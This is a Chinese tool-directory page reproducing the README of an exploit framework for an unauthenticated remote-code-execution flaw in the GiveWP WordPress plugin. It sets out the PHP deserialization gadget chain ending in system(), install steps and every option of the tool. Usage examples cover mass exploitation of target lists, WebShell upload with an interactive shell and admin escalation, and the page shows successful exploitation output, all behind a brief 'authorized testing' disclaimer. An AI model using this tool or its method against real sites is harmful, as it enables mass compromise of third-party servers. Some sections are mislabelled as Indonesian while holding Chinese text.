Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/ghostlyrootb2h/cve-2026-82222
漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集Web安全渗透测试命令与控制Payload 开发
GitHubghostlyrootb2h/cve-2026-82222

CVE-2026-82222

CVE-2026-82222 的漏洞利用框架,针对 GiveWP WordPress 插件中的未认证远程代码执行(RCE)漏洞。支持批量扫描、自动检测、多线程、JSON/TXT 输出,以及用于授权测试的交互式 Shell。

查看仓库
7小时38分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚡ GHOSTLYR00T - GiveWP RCE 漏洞利用框架

Python Version License Author CVE CVSS

CVE-2026-82222 - GiveWP 未授权 RCE 漏洞利用
批量扫描 + 自动检测 + 多线程 + 交互式 Shell


📋 目录 | Table of Contents

  • 概述
  • 主要功能 | Key Features
  • 漏洞详情
  • 安装 | Installation
  • 完整参数 | Complete Parameters
  • 使用示例 | Examples
  • 扫描结果 | Scan Results
  • 工作原理
  • 常见问题
  • 警告 | Warning
  • 许可证 | License

  • 🎯 概述

    GHOSTLYR00T 是一个针对 CVE-2026-82222 的漏洞利用框架,该漏洞是 WordPress GiveWP 插件中的 PHP 对象注入漏洞,允许在无需身份验证的情况下实现远程代码执行(RCE)。该工具支持批量扫描、自动检测和交互式 Shell。

    🔴 CVSS 9.8 - 严重

    向量: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


    🚀 主要功能 | Key Features

    🇮🇩 印度尼西亚语

    功能描述
    批量扫描从文件扫描数百个目标(-f targets.txt)
    自动检测自动检测表单 ID、支付网关和捐赠金额
    多线程可配置线程数的并行扫描(--threads)
    检测模式无需利用的快速指纹识别(--check)
    JSON 输出将结果导出为 JSON(--json)
    TXT 输出将结果导出为简洁的 TXT(--txt)
    交互式 Shell上传 WebShell + 交互式终端
    管理员提权自动将用户提升为管理员
    进度条实时监控扫描过程
    彩色输出专业格式的彩色输出

    🇬🇧 英语

    功能描述
    批量扫描从文件扫描数百个目标(-f targets.txt)
    自动检测自动检测表单 ID、支付网关和捐赠金额
    多线程可配置线程数的并行扫描
    检测模式无需利用的快速指纹识别(--check)
    JSON 输出将结果导出为 JSON(--json)
    TXT 输出将结果导出为 TXT(--txt)
    交互式 Shell上传 WebShell + 交互式终端
    管理员提权自动将用户提升为管理员
    进度条实时扫描进度监控
    彩色输出专业的彩色终端输出

    🔍 漏洞详情

    CVE-2026-82222 - GiveWP 未授权 RCE

    方面详情
    受影响版本GiveWP <= 4.16.7.1
    已修复版本GiveWP >= 4.16.7.2
    攻击向量网络(AV:N)
    所需权限无(PR:N)
    影响系统完全沦陷

    POP 链:

    root@kitploit:~
    TCPDF::__destruct()
      -> TCPDF::_destroy(true)
        -> foreach ($this->imagekeys as $file)
          -> Symfony Session::getIterator()
            -> Session::getBag($this->attributeName)
              -> $this->storage->getBag($attributeName)
                -> DonationFactory->__call('getBag', [$attributeName])
                  -> call_user_func_array('system', [$attributeName])
    

    📦 安装 | Installation

    🇮🇩 印度尼西亚语

    🔧 系统要求

    • 操作系统:Linux / Windows / MacOS
    • Python:3.8 或更高版本
    • 库:requests、urllib3

    📥 安装步骤

    root@kitploit:~
    # 1. 克隆仓库
    git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git
    cd GHOSTLYR00T
    
    # 2. 安装依赖
    pip install requests urllib3
    
    # 3. 测试是否成功
    python3 poc.py -h
    

    🇬🇧 英语

    🔧 系统要求

    • 操作系统:Linux / Windows / MacOS
    • Python:3.8 或更高版本
    • 库:requests、urllib3

    📥 安装步骤

    root@kitploit:~
    # 1. 克隆仓库
    git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git
    cd GHOSTLYR00T
    
    # 2. 安装依赖
    pip install requests urllib3
    
    # 3. 测试是否成功
    python3 poc.py -h
    

    🎯 完整参数 | Complete Parameters

    🇮🇩 印度尼西亚语

    参数功能示例
    -f, --file目标文件(批量模式)-f targets.txt
    --threads线程数(默认:4)--threads 10
    --json将结果导出为 JSON--json hasil.json
    --txt将结果导出为 TXT--txt hasil.txt
    -c, --command要执行的命令-c "id"
    -g, --gateway强制指定支付网关-g stripe
    -a, --amount强制指定捐赠金额-a 25.00
    -t, --triggers重试次数(默认:4)-t 5
    --timeout每次请求超时(默认:30 秒)--timeout 60
    --check仅指纹识别--check
    --upload-shell上传 WebShell--upload-shell
    -i, --interactive交互式终端-i
    -v, --verbose详细输出-v
    --no-color禁用彩色输出--no-color

    🇬🇧 英语

    参数功能示例
    -f, --file目标文件(批量模式)-f targets.txt
    --threads线程数(默认:4)--threads 10
    --json将结果导出为 JSON--json results.json
    --txt将结果导出为 TXT--txt results.txt
    -c, --command要执行的命令-c "id"
    -g, --gateway强制指定支付网关-g stripe
    -a, --amount强制指定捐赠金额-a 25.00
    -t, --triggers重试次数(默认:4)-t 5
    --timeout请求超时(默认:30 秒)--timeout 60
    --check仅指纹识别--check
    --upload-shell上传 WebShell--upload-shell
    -i, --interactive交互式终端-i
    -v, --verbose详细输出-v
    --no-color禁用彩色输出--no-color

    🔥 使用示例 | Examples

    🇮🇩 印度尼西亚语

    1. 单个目标

    root@kitploit:~
    python3 poc.py https://target.com -c "id"
    

    2. 批量扫描(检测模式)

    root@kitploit:~
    python3 poc.py -f targets.txt --check --txt hasil_check.txt
    

    3. 批量扫描(利用模式)

    root@kitploit:~
    python3 poc.py -f targets.txt -c "id" --threads 5 --json hasil.json --txt hasil.txt
    

    4. 交互式 Shell

    root@kitploit:~
    python3 poc.py https://target.com -c "id" --upload-shell -i
    

    5. 详细模式

    root@kitploit:~
    python3 poc.py https://target.com -c "id" -v
    

    🇬🇧 英语

    1. 单个目标

    root@kitploit:~
    python3 poc.py https://target.com -c "id"
    

    2. 批量扫描(检测模式)

    root@kitploit:~
    python3 poc.py -f targets.txt --check --txt check_results.txt
    

    3. 批量扫描(利用模式)

    root@kitploit:~
    python3 poc.py -f targets.txt -c "id" --threads 5 --json results.json --txt results.txt
    

    4. 交互式 Shell

    root@kitploit:~
    python3 poc.py https://target.com -c "id" --upload-shell -i
    

    5. 详细模式

    root@kitploit:~
    python3 poc.py https://target.com -c "id" -v
    

    📊 扫描结果 | Scan Results

    🇮🇩 印度尼西亚语

    终端输出(利用成功)

    root@kitploit:~
    CVE-2026-82222  GiveWP <= 4.16.7.1  unauthenticated RCE  |  PoC v2.2
        target   : https://target.com
        form id  : auto-discover
        command  : id
    
    root@kitploit:~
    + GiveWP 4.15.4 detected (vulnerable).
    + User "a1788868506" registered.
    + Gadget stored in account meta.
    + Discovered 13 form(s).
    + Success! Form 37256 / gateway paypal / amount 1.00
    + Session poisoned (HTTP 500).
    +--- command output --------------------------------------------
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
    +---------------------------------------------------------------
    

    [+] SUCCESS. The target executed the command.

    TXT 输出(检测模式)

    root@kitploit:~
    # GiveWP Vulnerability Scan Results (Fingerprint Mode)
    # Generated: 2026-09-09 12:00:00
    # Total: 10 | Vulnerable: 4 | Exploited: 0 | Failed: 6
    #
    # Format: TARGET | VERSION | STATUS
    #
    https://target1.com | 4.15.4 | VULNERABLE
    https://target2.com | 4.14.6 | VULNERABLE
    

    JSON 输出

    root@kitploit:~
    {
      "timestamp": 1694265600,
      "mode": "exploit",
      "total": 10,
      "vulnerable": 4,
      "exploited": 3,
      "failed": 7,
      "results": [
        {
          "target": "https://target1.com",
          "status": "exploited",
          "version": "4.15.4",
          "command_output": "uid=33(www-data) gid=33(www-data)"
        }
      ]
    }
    

    🇬🇧 英语

    终端输出(利用成功)

    root@kitploit:~
    CVE-2026-82222  GiveWP <= 4.16.7.1  unauthenticated RCE  |  PoC v2.2
        target   : https://target.com
        form id  : auto-discover
        command  : id
    
    root@kitploit:~
    + GiveWP 4.15.4 detected (vulnerable).
    + User "a1788868506" registered.
    + Gadget stored in account meta.
    + Discovered 13 form(s).
    + Success! Form 37256 / gateway paypal / amount 1.00
    + Session poisoned (HTTP 500).
    +--- command output --------------------------------------------
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
    +---------------------------------------------------------------
    

    [+] SUCCESS. The target executed the command.


    ⚙️ 工作原理

    🇮🇩 印度尼西亚语

    逐步利用步骤:

    1. 指纹识别:通过 readme.txt 和 give.php 检测 GiveWP 版本
    2. 注册:通过 give_action=user_register 创建捐赠者账户
    3. Payload 存储:在 last_name 元数据中存储序列化的 PHP 对象
    4. 表单发现:通过 REST API 和网页抓取查找捐赠表单
    5. 网关/金额自动检测:测试组合直到成功
    6. 会话投毒:提交不含 give_last 的捐赠以触发反序列化
    7. 触发与捕获:访问会话以恢复 payload 并捕获输出

    自动检测逻辑:

    root@kitploit:~
    # Gateway detection order
    CANDIDATE_GATEWAYS = ['manual', 'offline', 'paypal', 'stripe', 'square',
                          'paypalexpress', 'authorize', 'razorpay', 'mollie']
    

    Amount detection order

    AMOUNT_TESTS = ['0.01', '1.00', '5.00', '10.00', '25.00', '50.00', '100.00', '250.00', '500.00']

    🇬🇧 English

    Step-by-step Exploitation:

    1. Fingerprint: Detects GiveWP version via readme.txt and give.php
    2. Registration: Creates donor account via give_action=user_register
    3. Payload Storage: Stores serialized PHP object in last_name metadata
    4. Form Discovery: Finds donation forms via REST API and scraping
    5. Gateway/Amount Auto-Detection: Tests combinations until successful
    6. Session Poisoning: Submits donation without give_last to trigger deserialization
    7. Trigger & Capture: Accesses session to revive payload and capture output

    ❓ FAQ

    🇮🇩 Bahasa Indonesia

    PertanyaanJawaban
    Versi GiveWP apa yang rentan?GiveWP <= 4.16.7.1. Versi 4.16.7.2 dan di atasnya sudah patched.
    Kenapa harus -a 25?Beberapa form punya minimum amount (misal $25). Tools auto-detect, tapi bisa di-force.
    Bisa digunakan di production?TIDAK. Hanya untuk authorized testing.
    Kenapa registrasi gagal (HTTP 200)?Target mungkin registrasi dimatikan, WAF aktif, atau versi 4.16.6+.

    🇬🇧 English

    QuestionAnswer
    Which GiveWP versions are vulnerable?GiveWP <= 4.16.7.1. Version 4.16.7.2 and above are patched.
    Why use -a 25?Some forms have minimum amounts. Tool auto-detects, but can be forced.
    Can this be used in production?NO. For authorized testing only.
    Why registration fails (HTTP 200)?Target may have registration disabled, WAF active, or version 4.16.6+.

    ⚠️ Peringatan | Warning

    ⚠️ PERINGATAN HUKUM ⚠️

    TOOLS INI HANYA UNTUK PENELITIAN KEAMANAN!


    ⚠️ Ilegal: Mengakses server tanpa izin = tindak pidana
    ⚠️ UU ITE: Melanggar Pasal 30-32 tentang akses ilegal
    ⚠️ Hanya untuk: Pengujian sistem sendiri atau dengan izin tertulis
    ⚠️ Tanggung Jawab: Pengguna bertanggung jawab penuh atas penggunaan tools ini

    GUNAKAN DENGAN BIJAK DAN BERTANGGUNG JAWAB!

    ⚠️ LEGAL WARNING ⚠️

    THIS TOOL IS FOR SECURITY RESEARCH ONLY!


    ⚠️ Illegal: Accessing servers without permission = criminal offense
    ⚠️ Legal Risk: Violates computer fraud laws
    ⚠️ Authorized use only: Testing your own systems or with written permission
    ⚠️ Responsibility: Users are fully responsible for their use of this tool

    USE WISELY AND RESPONSIBLY!


    📜 Lisensi | License

    🇮🇩 Bahasa Indonesia

    Copyright © 2026 GhostlyrootB2H
    Didistribusikan di bawah lisensi MIT.

    🇬🇧 English

    Copyright © 2026 GhostlyrootB2H
    Distributed under the MIT License.


    👨‍💻 Author

    GhostlyrootB2H

    🐙 GitHub: @GhostlyrootB2H

    🇮🇩 Terima kasih telah menggunakan GHOSTLYR00T!
    Tools ini untuk pembelajaran dan pengujian keamanan.
    Jangan gunakan untuk aktivitas ilegal!

    🇬🇧 Thank you for using GHOSTLYR00T!
    For learning and security testing only.
    Do not use for illegal activities!

    下载工具